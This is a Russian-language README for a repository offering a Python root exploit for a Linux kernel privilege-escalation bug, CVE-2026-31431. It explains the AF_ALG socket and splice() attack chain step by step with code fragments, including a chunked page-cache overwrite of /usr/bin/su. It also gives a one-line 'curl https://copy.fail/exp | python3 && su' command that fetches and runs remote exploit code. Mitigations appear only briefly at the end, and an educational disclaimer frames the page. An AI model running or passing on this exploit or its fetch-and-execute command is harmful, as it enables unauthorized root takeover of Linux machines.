
Python-эксплойт для локального повышения привилегий в ядре Linux (CVE-2026-31431), использующий путаницу состояний сокета AF_ALG и splice() для достижения произвольной записи в файлы и получения root-доступа.
Данный репозиторий предназначен строго для образовательных целей и исследований в области кибербезопасности. Код эксплойта анализируется для понимания лежащей в основе уязвимости, содействия исправлению и разработки защитных стратегий. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
«Copy Fail» — это критическая уязвимость локального повышения привилегий (LPE), обнаруженная в ядре Linux. Она позволяет непривилегированному пользователю получить доступ root, эксплуатируя ошибку в том, как ядро обрабатывает операции с памятью между файловой системой и API асинхронной криптографии (AF_ALG).
Представленный эксплойт на Python использует комбинацию малоизвестных системных вызовов Linux и интерфейсов для достижения произвольной записи за пределами границ (OOB) в памяти ядра, которая затем преобразуется в произвольную запись в файл на диске.
Вот пошаговый разбор цепочки атаки:
AF_ALGa=s.socket(38, 5, 0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
Скрипт создаёт сокет AF_ALG (семейство 38). Этот интерфейс позволяет приложениям пользовательского пространства переносить криптографические операции на ядро. Он специально запрашивает цепочку шифров AEAD (аутентифицированное шифрование со связанными данными), объединяющую HMAC-SHA256 и CBC-AES.
setsockoptv(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
Скрипт манипулирует внутренним состоянием сокета с помощью setsockopt. Шестнадцатеричная полезная нагрузка и аргумент None тщательно подобраны для запуска граничного условия или целочисленного переполнения в управлении буфером криптографического API ядра. Это «проваливает» операцию копирования безопасно внутри ядра, оставляя сокет в несогласованном, уязвимом состоянии.
splice()n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)
Это ядро эксплойта. Вместо чтения данных в пользовательское пространство и их обратной записи, splice() перемещает данные напрямую между файловыми дескрипторами целиком в пространстве ядра.
Скрипт открывает /usr/bin/su (SUID-бинарник с правами root) и пытается перенести данные из него в неправильно настроенный сокет AF_ALG. Поскольку состояние сокета было повреждено на шаге 2, проверка границ ядра даёт сбой во время этой операции с нулевым копированием.
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4
Скрипт распаковывает сжатую полезную нагрузку (вероятно, небольшой шеллкод или изменённый бинарный блок). Он входит в цикл, отправляя эту полезную нагрузку по 4 байта за раз в повреждённый буфер сокета. Из-за сбоя проверки границ эти 4-байтовые записи попадают в произвольные смещения в кэше страниц ядра — именно в то пространство памяти, где загружен /usr/bin/su.
g.system("su")
Перезаписывая определённые указатели инструкций или логические проверки в версии /usr/bin/su, находящейся в кэше страниц, атакующий изменяет поведение бинарника. Когда вызывается system("su"), он выполняет изменённый SUID-бинарник. Бинарник запускается с правами root, но пропускает стандартную проверку пароля, сразу предоставляя атакующему root-шелл.
Скачайте и запустите copyfail.py в вашей системе Linux или используйте приведённый ниже curl-запрос для быстрого запуска
curl https://copy.fail/exp | python3 && su
id
https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e
AF_ALG: Если криптографическая разгрузка не требуется вашим рабочим нагрузкам, отключите модуль ядра af_alg, добавив blacklist af_alg в /etc/modprobe.d/blacklist.conf.splice(), socket() (в частности, семейство 38) и setsockopt() с помощью строгих фильтров Seccomp.